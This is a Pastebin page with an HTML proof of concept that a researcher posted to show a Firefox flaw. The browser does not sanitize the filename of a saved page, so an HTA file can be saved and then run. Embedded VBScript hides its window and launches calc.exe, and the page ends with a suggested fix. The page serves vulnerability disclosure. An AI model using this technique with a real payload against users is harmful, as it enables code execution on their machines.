Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <html><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
- <title>mal.hta</title>
- <script language="VBScript">
- Window.ReSizeTo 0, 0
- Window.moveTo -2000,-2000
- Set objShell = CreateObject("Wscript.Shell")
- objShell.Run "calc.exe"
- self.close
- </script></head>
- <body>
- <h1>
- POC By <a href="https://twitter.com/JayateerthaG">Jayateertha G</a>
- </h1>
- <pre>
- 1. Save this html page to view offline by pressing ctrl+s or through UI directly by clicking save as & save.
- 2. You might think saved content is html as file name is index.html but it's not so, as firefox grabs filename from title without sanitizing properly,
- 3. It's posible to create arbitrary binary files instead of html file, which will result in remote code execution.
- 4. The following POC creates and saves hta file, which when opened by user executes code in user's machine.
- </pre>
- <p><b>Fix:</b>To fix this sanitize the filename properly & add .html at the end of filename as done by major browsers.</p>
- </body></html>
Advertisement
Add Comment
Please, Sign In to add comment